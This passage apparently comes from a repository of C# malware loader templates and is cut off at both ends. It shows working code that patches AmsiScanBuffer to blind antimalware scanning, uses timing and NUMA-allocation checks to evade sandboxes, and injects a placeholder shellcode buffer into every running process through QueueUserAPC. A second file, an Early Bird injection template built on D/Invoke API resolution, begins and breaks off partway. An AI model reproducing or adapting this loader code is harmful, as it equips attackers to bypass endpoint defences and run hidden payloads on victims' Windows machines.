601 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 602 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 603 | break; 604 | } 605 | } 606 | } 607 | catch 608 | { 609 | // Catch parser failure 610 | throw new InvalidOperationException("Failed to parse module exports."); 611 | } 612 | 613 | if (FunctionPtr == IntPtr.Zero) 614 | { 615 | // Export not found 616 | throw new MissingMethodException(ExportName + ", export not found."); 617 | } 618 | return FunctionPtr; 619 | } 620 | 621 | /// 622 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 623 | /// 624 | /// Ruben Boonen (@FuzzySec) 625 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 626 | /// Name of the exported procedure. 627 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 628 | /// IntPtr for the desired function. 629 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 630 | { 631 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 632 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 633 | { 634 | hModule = LoadModuleFromDisk(DLLName); 635 | if (hModule == IntPtr.Zero) 636 | { 637 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 638 | } 639 | } 640 | else if (hModule == IntPtr.Zero) 641 | { 642 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 643 | } 644 | 645 | return GetExportAddress(hModule, FunctionName); 646 | } 647 | } 648 | 649 | static void cleaning() 650 | { 651 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 652 | var modules = Process.GetCurrentProcess().Modules; 653 | var hAmsi = IntPtr.Zero; 654 | 655 | foreach (ProcessModule module in modules) 656 | { 657 | if (module.ModuleName == "amsi.dll") 658 | { 659 | hAmsi = module.BaseAddress; 660 | Console.WriteLine("Found isma"); 661 | break; 662 | } 663 | } 664 | if (hAmsi == IntPtr.Zero) 665 | { 666 | return; 667 | } 668 | else 669 | { 670 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetProcAddress"); 671 | DELEGATES.GetProcAddress gpa = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetProcAddress)) as DELEGATES.GetProcAddress; 672 | 673 | var asb = gpa(hAmsi, "AmsiScanBuffer"); 674 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 675 | 676 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtect"); 677 | DELEGATES.VirtualProtect vp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtect)) as DELEGATES.VirtualProtect; 678 | 679 | vp(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 680 | 681 | Marshal.Copy(garbage, 0, asb, garbage.Length); 682 | 683 | vp(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 684 | 685 | Console.WriteLine("Patched"); 686 | } 687 | } 688 | 689 | static void enhance(byte[] buf, Process process) 690 | { 691 | // thanks to https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs 692 | // https://dev.to/wireless90/stealthy-code-injection-in-a-running-net-process-i5c 693 | 694 | Console.WriteLine("Targeting {0}", process.Id); 695 | 696 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "OpenProcess"); 697 | DELEGATES.OpenProcess op = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenProcess)) as DELEGATES.OpenProcess; 698 | IntPtr hProcess = op(0x001F0FFF, false, (uint)process.Id); 699 | 700 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); 701 | DELEGATES.VirtualAllocEx vae = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; 702 | IntPtr resultPtr = vae(hProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 703 | 704 | IntPtr bytesWritten = IntPtr.Zero; 705 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); 706 | DELEGATES.WriteProcessMemory wpm = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; 707 | bool resultBool = wpm(hProcess, resultPtr, buf, buf.Length, out bytesWritten); 708 | 709 | foreach (ProcessThread thread in process.Threads) 710 | { 711 | Console.WriteLine("Found thread {0}", (uint)thread.Id); 712 | 713 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "OpenThread"); 714 | DELEGATES.OpenThread ot = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread; 715 | IntPtr threadHandle = ot(ThreadAccess.THREAD_HIJACK, false, (uint)thread.Id); 716 | 717 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); 718 | DELEGATES.VirtualProtectEx vpe = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; 719 | vpe(hProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 720 | 721 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); 722 | DELEGATES.QueueUserAPC qua = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; 723 | qua(resultPtr, threadHandle, IntPtr.Zero); 724 | } 725 | } 726 | 727 | static Process[] boxboxbox() 728 | { 729 | var processes = Process.GetProcesses(); 730 | 731 | return processes; 732 | } 733 | 734 | static bool buy_in() 735 | { 736 | DateTime t1 = DateTime.Now; 737 | 738 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "Sleep"); 739 | DELEGATES.Sleep sl = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.Sleep)) as DELEGATES.Sleep; 740 | sl(2000); 741 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 742 | if (t2 < 1.5) 743 | { 744 | return false; 745 | } 746 | 747 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetCurrentProcess"); 748 | DELEGATES.GetCurrentProcess gcp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetCurrentProcess)) as DELEGATES.GetCurrentProcess; 749 | 750 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocExNuma"); 751 | DELEGATES.VirtualAllocExNuma vaen = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocExNuma)) as DELEGATES.VirtualAllocExNuma; 752 | 753 | IntPtr mem = vaen(gcp(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 754 | if (mem == null) 755 | { 756 | return false; 757 | } 758 | 759 | return true; 760 | } 761 | 762 | static void Main(string[] args) 763 | { 764 | !!!_SHELLCODE_MARK!!! 765 | 766 | bool result = buy_in(); 767 | if (!result) 768 | { 769 | Console.WriteLine("Architecture is not compatible"); 770 | System.Environment.Exit(1); 771 | } 772 | 773 | cleaning(); 774 | 775 | var processes = boxboxbox(); 776 | 777 | if (processes.Length == 0) 778 | { 779 | Console.WriteLine("Found no process"); 780 | System.Environment.Exit(1); 781 | } 782 | else 783 | { 784 | !!!DECODE_ROUTINE!!! 785 | 786 | foreach (var process in processes) 787 | { 788 | Console.WriteLine("Found process {0}", process.Id); 789 | enhance(buf, process); 790 | } 791 | } 792 | } 793 | } 794 | } 795 | -------------------------------------------------------------------------------- /Dinvoke/earlybird.cs: -------------------------------------------------------------------------------- 1 | // This template requires D/Invoke installed from Nugget 2 | 3 | // Thanks to https://github.com/FatCyclone/D-Pwn 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | using System.Diagnostics; 8 | using System.Text; 9 | using System.IO; 10 | using System.Collections.Generic; 11 | 12 | namespace EarlyBird 13 | { 14 | internal class Program 15 | { 16 | [Flags] 17 | public enum ThreadAccess : int 18 | { 19 | TERMINATE = (0x0001), 20 | SUSPEND_RESUME = (0x0002), 21 | GET_CONTEXT = (0x0008), 22 | SET_CONTEXT = (0x0010), 23 | SET_INFORMATION = (0x0020), 24 | QUERY_INFORMATION = (0x0040), 25 | SET_THREAD_TOKEN = (0x0080), 26 | IMPERSONATE = (0x0100), 27 | DIRECT_IMPERSONATION = (0x0200), 28 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 29 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 30 | } 31 | 32 | private static UInt32 MEM_COMMIT = 0x1000; 33 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 34 | private static UInt32 PAGE_READWRITE = 0x04; 35 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 36 | private static UInt32 CREATE_SUSPENDED = 0x00000004; 37 | 38 | [StructLayout(LayoutKind.Sequential)] 39 | public struct SECURITY_ATTRIBUTES 40 | { 41 | public int nLength; 42 | public unsafe byte* lpSecurityDescriptor; 43 | public int bInheritHandle; 44 | } 45 | 46 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 47 | public struct STARTUPINFO 48 | { 49 | public Int32 cb; 50 | public string lpReserved; 51 | public string lpDesktop; 52 | public string lpTitle; 53 | public Int32 dwX; 54 | public Int32 dwY; 55 | public Int32 dwXSize; 56 | public Int32 dwYSize; 57 | public Int32 dwXCountChars; 58 | public Int32 dwYCountChars; 59 | public Int32 dwFillAttribute; 60 | public Int32 dwFlags; 61 | public Int16 wShowWindow; 62 | public Int16 cbReserved2; 63 | public IntPtr lpReserved2; 64 | public IntPtr hStdInput; 65 | public IntPtr hStdOutput; 66 | public IntPtr hStdError; 67 | } 68 | 69 | [StructLayout(LayoutKind.Sequential)] 70 | internal struct PROCESS_INFORMATION 71 | { 72 | public IntPtr hProcess; 73 | public IntPtr hThread; 74 | public int dwProcessId; 75 | public int dwThreadId; 76 | } 77 | public class STRUCTS 78 | { 79 | // Structures and Enums 80 | 81 | [StructLayout(LayoutKind.Sequential)] 82 | public struct UNICODE_STRING 83 | { 84 | public UInt16 Length; 85 | public UInt16 MaximumLength; 86 | public IntPtr Buffer; 87 | } 88 | public enum NtStatus : uint 89 | { 90 | // Success 91 | Success = 0x00000000, 92 | Wait0 = 0x00000000, 93 | Wait1 = 0x00000001, 94 | Wait2 = 0x00000002, 95 | Wait3 = 0x00000003, 96 | Wait63 = 0x0000003f, 97 | Abandoned = 0x00000080, 98 | AbandonedWait0 = 0x00000080, 99 | AbandonedWait1 = 0x00000081, 100 | AbandonedWait2 = 0x00000082, 101 | AbandonedWait3 = 0x00000083, 102 | AbandonedWait63 = 0x000000bf, 103 | UserApc = 0x000000c0, 104 | KernelApc = 0x00000100, 105 | Alerted = 0x00000101, 106 | Timeout = 0x00000102, 107 | Pending = 0x00000103, 108 | Reparse = 0x00000104, 109 | MoreEntries = 0x00000105, 110 | NotAllAssigned = 0x00000106, 111 | SomeNotMapped = 0x00000107, 112 | OpLockBreakInProgress = 0x00000108, 113 | VolumeMounted = 0x00000109, 114 | RxActCommitted = 0x0000010a, 115 | NotifyCleanup = 0x0000010b, 116 | NotifyEnumDir = 0x0000010c, 117 | NoQuotasForAccount = 0x0000010d, 118 | PrimaryTransportConnectFailed = 0x0000010e, 119 | PageFaultTransition = 0x00000110, 120 | PageFaultDemandZero = 0x00000111, 121 | PageFaultCopyOnWrite = 0x00000112, 122 | PageFaultGuardPage = 0x00000113, 123 | PageFaultPagingFile = 0x00000114, 124 | CrashDump = 0x00000116, 125 | ReparseObject = 0x00000118, 126 | NothingToTerminate = 0x00000122, 127 | ProcessNotInJob = 0x00000123, 128 | ProcessInJob = 0x00000124, 129 | ProcessCloned = 0x00000129, 130 | FileLockedWithOnlyReaders = 0x0000012a, 131 | FileLockedWithWriters = 0x0000012b, 132 | 133 | // Informational 134 | Informational = 0x40000000, 135 | ObjectNameExists = 0x40000000, 136 | ThreadWasSuspended = 0x40000001, 137 | WorkingSetLimitRange = 0x40000002, 138 | ImageNotAtBase = 0x40000003, 139 | RegistryRecovered = 0x40000009, 140 | 141 | // Warning 142 | Warning = 0x80000000, 143 | GuardPageViolation = 0x80000001, 144 | DatatypeMisalignment = 0x80000002, 145 | Breakpoint = 0x80000003, 146 | SingleStep = 0x80000004, 147 | BufferOverflow = 0x80000005, 148 | NoMoreFiles = 0x80000006, 149 | HandlesClosed = 0x8000000a, 150 | PartialCopy = 0x8000000d, 151 | DeviceBusy = 0x80000011, 152 | InvalidEaName = 0x80000013, 153 | EaListInconsistent = 0x80000014, 154 | NoMoreEntries = 0x8000001a, 155 | LongJump = 0x80000026, 156 | DllMightBeInsecure = 0x8000002b, 157 | 158 | // Error 159 | Error = 0xc0000000, 160 | Unsuccessful = 0xc0000001, 161 | NotImplemented = 0xc0000002, 162 | InvalidInfoClass = 0xc0000003, 163 | InfoLengthMismatch = 0xc0000004, 164 | AccessViolation = 0xc0000005, 165 | InPageError = 0xc0000006, 166 | PagefileQuota = 0xc0000007, 167 | InvalidHandle = 0xc0000008, 168 | BadInitialStack = 0xc0000009, 169 | BadInitialPc = 0xc000000a, 170 | InvalidCid = 0xc000000b, 171 | TimerNotCanceled = 0xc000000c, 172 | InvalidParameter = 0xc000000d, 173 | NoSuchDevice = 0xc000000e, 174 | NoSuchFile = 0xc000000f, 175 | InvalidDeviceRequest = 0xc0000010, 176 | EndOfFile = 0xc0000011, 177 | WrongVolume = 0xc0000012, 178 | NoMediaInDevice = 0xc0000013, 179 | NoMemory = 0xc0000017, 180 | NotMappedView = 0xc0000019, 181 | UnableToFreeVm = 0xc000001a, 182 | UnableToDeleteSection = 0xc000001b, 183 | IllegalInstruction = 0xc000001d, 184 | AlreadyCommitted = 0xc0000021, 185 | AccessDenied = 0xc0000022, 186 | BufferTooSmall = 0xc0000023, 187 | ObjectTypeMismatch = 0xc0000024, 188 | NonContinuableException = 0xc0000025, 189 | BadStack = 0xc0000028, 190 | NotLocked = 0xc000002a, 191 | NotCommitted = 0xc000002d, 192 | InvalidParameterMix = 0xc0000030, 193 | ObjectNameInvalid = 0xc0000033, 194 | ObjectNameNotFound = 0xc0000034, 195 | ObjectNameCollision = 0xc0000035, 196 | ObjectPathInvalid = 0xc0000039, 197 | ObjectPathNotFound = 0xc000003a, 198 | ObjectPathSyntaxBad = 0xc000003b, 199 | DataOverrun = 0xc000003c, 200 | DataLate = 0xc000003d, 201 | DataError = 0xc000003e, 202 | CrcError = 0xc000003f, 203 | SectionTooBig = 0xc0000040, 204 | PortConnectionRefused = 0xc0000041, 205 | InvalidPortHandle = 0xc0000042, 206 | SharingViolation = 0xc0000043, 207 | QuotaExceeded = 0xc0000044, 208 | InvalidPageProtection = 0xc0000045, 209 | MutantNotOwned = 0xc0000046, 210 | SemaphoreLimitExceeded = 0xc0000047, 211 | PortAlreadySet = 0xc0000048, 212 | SectionNotImage = 0xc0000049, 213 | SuspendCountExceeded = 0xc000004a, 214 | ThreadIsTerminating = 0xc000004b, 215 | BadWorkingSetLimit = 0xc000004c, 216 | IncompatibleFileMap = 0xc000004d, 217 | SectionProtection = 0xc000004e, 218 | EasNotSupported = 0xc000004f, 219 | EaTooLarge = 0xc0000050, 220 | NonExistentEaEntry = 0xc0000051, 221 | NoEasOnFile = 0xc0000052, 222 | EaCorruptError = 0xc0000053, 223 | FileLockConflict = 0xc0000054, 224 | LockNotGranted = 0xc0000055, 225 | DeletePending = 0xc0000056, 226 | CtlFileNotSupported = 0xc0000057, 227 | UnknownRevision = 0xc0000058, 228 | RevisionMismatch = 0xc0000059, 229 | InvalidOwner = 0xc000005a, 230 | InvalidPrimaryGroup = 0xc000005b, 231 | NoImpersonationToken = 0xc000005c, 232 | CantDisableMandatory = 0xc000005d, 233 | NoLogonServers = 0xc000005e, 234 | NoSuchLogonSession = 0xc000005f, 235 | NoSuchPrivilege = 0xc0000060, 236 | PrivilegeNotHeld = 0xc0000061, 237 | InvalidAccountName = 0xc0000062, 238 | UserExists = 0xc0000063, 239 | NoSuchUser = 0xc0000064, 240 | GroupExists = 0xc0000065, 241 | NoSuchGroup = 0xc0000066, 242 | MemberInGroup = 0xc0000067, 243 | MemberNotInGroup = 0xc0000068, 244 | LastAdmin = 0xc0000069, 245 | WrongPassword = 0xc000006a, 246 | IllFormedPassword = 0xc000006b, 247 | PasswordRestriction = 0xc000006c, 248 | LogonFailure = 0xc000006d, 249 | AccountRestriction = 0xc000006e, 250 | InvalidLogonHours = 0xc000006f, 251 | InvalidWorkstation = 0xc0000070, 252 | PasswordExpired = 0xc0000071, 253 | AccountDisabled = 0xc0000072, 254 | NoneMapped = 0xc0000073, 255 | TooManyLuidsRequested = 0xc0000074, 256 | LuidsExhausted = 0xc0000075, 257 | InvalidSubAuthority = 0xc0000076, 258 | InvalidAcl = 0xc0000077, 259 | InvalidSid = 0xc0000078, 260 | InvalidSecurityDescr = 0xc0000079, 261 | ProcedureNotFound = 0xc000007a, 262 | InvalidImageFormat = 0xc000007b, 263 | NoToken = 0xc000007c, 264 | BadInheritanceAcl = 0xc000007d, 265 | RangeNotLocked = 0xc000007e, 266 | DiskFull = 0xc000007f, 267 | ServerDisabled = 0xc0000080, 268 | ServerNotDisabled = 0xc0000081, 269 | TooManyGuidsRequested = 0xc0000082, 270 | GuidsExhausted = 0xc0000083, 271 | InvalidIdAuthority = 0xc0000084, 272 | AgentsExhausted = 0xc0000085, 273 | InvalidVolumeLabel = 0xc0000086, 274 | SectionNotExtended = 0xc0000087, 275 | NotMappedData = 0xc0000088, 276 | ResourceDataNotFound = 0xc0000089, 277 | ResourceTypeNotFound = 0xc000008a, 278 | ResourceNameNotFound = 0xc000008b, 279 | ArrayBoundsExceeded = 0xc000008c, 280 | FloatDenormalOperand = 0xc000008d, 281 | FloatDivideByZero = 0xc000008e, 282 | FloatInexactResult = 0xc000008f, 283 | FloatInvalidOperation = 0xc0000090, 284 | FloatOverflow = 0xc0000091, 285 | FloatStackCheck = 0xc0000092, 286 | FloatUnderflow = 0xc0000093, 287 | IntegerDivideByZero = 0xc0000094, 288 | IntegerOverflow = 0xc0000095, 289 | PrivilegedInstruction = 0xc0000096, 290 | TooManyPagingFiles = 0xc0000097, 291 | FileInvalid = 0xc0000098, 292 | InstanceNotAvailable = 0xc00000ab, 293 | PipeNotAvailable = 0xc00000ac, 294 | InvalidPipeState = 0xc00000ad, 295 | PipeBusy = 0xc00000ae, 296 | IllegalFunction = 0xc00000af, 297 | PipeDisconnected = 0xc00000b0, 298 | PipeClosing = 0xc00000b1, 299 | PipeConnected = 0xc00000b2, 300 | PipeListening = 0xc00000b3, 301 | InvalidReadMode = 0xc00000b4, 302 | IoTimeout = 0xc00000b5, 303 | FileForcedClosed = 0xc00000b6, 304 | ProfilingNotStarted = 0xc00000b7, 305 | ProfilingNotStopped = 0xc00000b8, 306 | NotSameDevice = 0xc00000d4, 307 | FileRenamed = 0xc00000d5, 308 | CantWait = 0xc00000d8, 309 | PipeEmpty = 0xc00000d9, 310 | CantTerminateSelf = 0xc00000db, 311 | InternalError = 0xc00000e5, 312 | InvalidParameter1 = 0xc00000ef, 313 | InvalidParameter2 = 0xc00000f0, 314 | InvalidParameter3 = 0xc00000f1, 315 | InvalidParameter4 = 0xc00000f2, 316 | InvalidParameter5 = 0xc00000f3, 317 | InvalidParameter6 = 0xc00000f4, 318 | InvalidParameter7 = 0xc00000f5, 319 | InvalidParameter8 = 0xc00000f6, 320 | InvalidParameter9 = 0xc00000f7, 321 | InvalidParameter10 = 0xc00000f8, 322 | InvalidParameter11 = 0xc00000f9, 323 | InvalidParameter12 = 0xc00000fa, 324 | MappedFileSizeZero = 0xc000011e, 325 | TooManyOpenedFiles = 0xc000011f, 326 | Cancelled = 0xc0000120, 327 | CannotDelete = 0xc0000121, 328 | InvalidComputerName = 0xc0000122, 329 | FileDeleted = 0xc0000123, 330 | SpecialAccount = 0xc0000124, 331 | SpecialGroup = 0xc0000125, 332 | SpecialUser = 0xc0000126, 333 | MembersPrimaryGroup = 0xc0000127, 334 | FileClosed = 0xc0000128, 335 | TooManyThreads = 0xc0000129, 336 | ThreadNotInProcess = 0xc000012a, 337 | TokenAlreadyInUse = 0xc000012b, 338 | PagefileQuotaExceeded = 0xc000012c, 339 | CommitmentLimit = 0xc000012d, 340 | InvalidImageLeFormat = 0xc000012e, 341 | InvalidImageNotMz = 0xc000012f, 342 | InvalidImageProtect = 0xc0000130, 343 | InvalidImageWin16 = 0xc0000131, 344 | LogonServer = 0xc0000132, 345 | DifferenceAtDc = 0xc0000133, 346 | SynchronizationRequired = 0xc0000134, 347 | DllNotFound = 0xc0000135, 348 | IoPrivilegeFailed = 0xc0000137, 349 | OrdinalNotFound = 0xc0000138, 350 | EntryPointNotFound = 0xc0000139, 351 | ControlCExit = 0xc000013a, 352 | PortNotSet = 0xc0000353, 353 | DebuggerInactive = 0xc0000354, 354 | CallbackBypass = 0xc0000503, 355 | PortClosed = 0xc0000700, 356 | MessageLost = 0xc0000701, 357 | InvalidMessage = 0xc0000702, 358 | RequestCanceled = 0xc0000703, 359 | RecursiveDispatch = 0xc0000704, 360 | LpcReceiveBufferExpected = 0xc0000705, 361 | LpcInvalidConnectionUsage = 0xc0000706, 362 | LpcRequestsNotAllowed = 0xc0000707, 363 | ResourceInUse = 0xc0000708, 364 | ProcessIsProtected = 0xc0000712, 365 | VolumeDirty = 0xc0000806, 366 | FileCheckedOut = 0xc0000901, 367 | CheckOutRequired = 0xc0000902, 368 | BadFileType = 0xc0000903, 369 | FileTooLarge = 0xc0000904, 370 | FormsAuthRequired = 0xc0000905, 371 | VirusInfected = 0xc0000906, 372 | VirusDeleted = 0xc0000907, 373 | TransactionalConflict = 0xc0190001, 374 | InvalidTransaction = 0xc0190002, 375 | TransactionNotActive = 0xc0190003, 376 | TmInitializationFailed = 0xc0190004, 377 | RmNotActive = 0xc0190005, 378 | RmMetadataCorrupt = 0xc0190006, 379 | TransactionNotJoined = 0xc0190007, 380 | DirectoryNotRm = 0xc0190008, 381 | CouldNotResizeLog = 0xc0190009, 382 | TransactionsUnsupportedRemote = 0xc019000a, 383 | LogResizeInvalidSize = 0xc019000b, 384 | RemoteFileVersionMismatch = 0xc019000c, 385 | CrmProtocolAlreadyExists = 0xc019000f, 386 | TransactionPropagationFailed = 0xc0190010, 387 | CrmProtocolNotFound = 0xc0190011, 388 | TransactionSuperiorExists = 0xc0190012, 389 | TransactionRequestNotValid = 0xc0190013, 390 | TransactionNotRequested = 0xc0190014, 391 | TransactionAlreadyAborted = 0xc0190015, 392 | TransactionAlreadyCommitted = 0xc0190016, 393 | TransactionInvalidMarshallBuffer = 0xc0190017, 394 | CurrentTransactionNotValid = 0xc0190018, 395 | LogGrowthFailed = 0xc0190019, 396 | ObjectNoLongerExists = 0xc0190021, 397 | StreamMiniversionNotFound = 0xc0190022, 398 | StreamMiniversionNotValid = 0xc0190023, 399 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 400 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 401 | CantCreateMoreStreamMiniversions = 0xc0190026, 402 | HandleNoLongerValid = 0xc0190028, 403 | NoTxfMetadata = 0xc0190029, 404 | LogCorruptionDetected = 0xc0190030, 405 | CantRecoverWithHandleOpen = 0xc0190031, 406 | RmDisconnected = 0xc0190032, 407 | EnlistmentNotSuperior = 0xc0190033, 408 | RecoveryNotNeeded = 0xc0190034, 409 | RmAlreadyStarted = 0xc0190035, 410 | FileIdentityNotPersistent = 0xc0190036, 411 | CantBreakTransactionalDependency = 0xc0190037, 412 | CantCrossRmBoundary = 0xc0190038, 413 | TxfDirNotEmpty = 0xc0190039, 414 | IndoubtTransactionsExist = 0xc019003a, 415 | TmVolatile = 0xc019003b, 416 | RollbackTimerExpired = 0xc019003c, 417 | TxfAttributeCorrupt = 0xc019003d, 418 | EfsNotAllowedInTransaction = 0xc019003e, 419 | TransactionalOpenNotAllowed = 0xc019003f, 420 | TransactedMappingUnsupportedRemote = 0xc0190040, 421 | TxfMetadataAlreadyPresent = 0xc0190041, 422 | TransactionScopeCallbacksNotSet = 0xc0190042, 423 | TransactionRequiredPromotion = 0xc0190043, 424 | CannotExecuteFileInTransaction = 0xc0190044, 425 | TransactionsNotFrozen = 0xc0190045, 426 | 427 | MaximumNtStatus = 0xffffffff 428 | } 429 | 430 | [StructLayout(LayoutKind.Sequential, Size = 40)] 431 | public struct PROCESS_MEMORY_COUNTERS 432 | { 433 | public uint cb; 434 | public uint PageFaultCount; 435 | public uint PeakWorkingSetSize; 436 | public uint WorkingSetSize; 437 | public uint QuotaPeakPagedPoolUsage; 438 | public uint QuotaPagedPoolUsage; 439 | public uint QuotaPeakNonPagedPoolUsage; 440 | public uint QuotaNonPagedPoolUsage; 441 | public uint PagefileUsage; 442 | public uint PeakPagefileUsage; 443 | } 444 | 445 | public const UInt32 INFINITE = 0xFFFFFFFF; 446 | 447 | } 448 | 449 | public class DELEGATES 450 | { 451 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 452 | public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); 453 | 454 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 455 | public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); 456 | 457 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 458 | public delegate void Sleep(uint dwMilliseconds); 459 | 460 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 461 | public delegate IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 462 | 463 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 464 | public delegate IntPtr GetCurrentProcess(); 465 | 466 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 467 | public delegate IntPtr GetProcAddress(IntPtr hModule, string procName); 468 | 469 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 470 | public delegate IntPtr LoadLibrary(string name); 471 | 472 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 473 | public delegate bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 474 | 475 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 476 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 477 | 478 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 479 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 480 | 481 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 482 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 483 | 484 | 485 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 486 | public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 487 | 488 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 489 | public delegate Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 490 | 491 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 492 | public delegate uint ResumeThread(IntPtr hThread); 493 | 494 | } 495 | 496 | public class Invoke 497 | { 498 | // Dinvoke core 499 | public static STRUCTS.NtStatus LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) 500 | { 501 | // Craft an array for the arguments 502 | object[] funcargs = 503 | { 504 | PathToFile, dwFlags, ModuleFileName, ModuleHandle 505 | }; 506 | 507 | STRUCTS.NtStatus retValue = (STRUCTS.NtStatus)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); 508 | 509 | // Update the modified variables 510 | ModuleHandle = (IntPtr)funcargs[3]; 511 | 512 | return retValue; 513 | } 514 | /// 515 | /// Helper for getting the base address of a module loaded by the current process. This base 516 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 517 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. 518 | /// 519 | /// Ruben Boonen (@FuzzySec) 520 | /// The name of the DLL (e.g. "ntdll.dll"). 521 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 522 | public static IntPtr GetLoadedModuleAddress(string DLLName) 523 | { 524 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 525 | foreach (ProcessModule Mod in ProcModules) 526 | { 527 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 528 | { 529 | return Mod.BaseAddress; 530 | } 531 | } 532 | return IntPtr.Zero; 533 | } 534 | 535 | public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) 536 | { 537 | // 